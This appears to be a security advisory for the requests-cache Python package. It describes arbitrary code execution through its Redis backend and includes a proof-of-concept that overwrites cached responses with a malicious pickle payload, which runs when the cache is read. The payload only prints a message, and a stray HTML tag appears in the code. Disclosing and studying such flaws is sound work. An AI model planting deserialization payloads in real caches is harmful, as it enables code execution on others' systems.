Arbitrary Code Execution Affecting requests-cache package, versions [,0.6.0.dev1)

requests-cache is a Persistent cache for requests library

Affected versions of this package are vulnerable to Arbitrary Code Execution via accessing the redis cache (with write permissions).

import requests
import requests_cache

requests_cache.install_cache(cache_name='cache',backend='redis')
requests_cache.clear()

print("Filling cache.")
response = requests.get("https://example.org")


### attacker's part

print('Attacker: "Planting" exploit')
from redis import StrictRedis as Redis
from requests_cache.backends.storage.redisdict import RedisDict

rd = Redis()

class Exploit:
    def __reduce__(self):
        return (print, ("I won.",))

import pickle

exploit = pickle.dumps(Exploit(), protocol=0)

for key in rd.hgetall("cache:responses").keys():
    rd.hset("cache:responses", key, exploit)

print('Attacker: finished')

<h3>end of attacker's part</h3>


print("Accessing cache")
response = requests.get("https://example.org")

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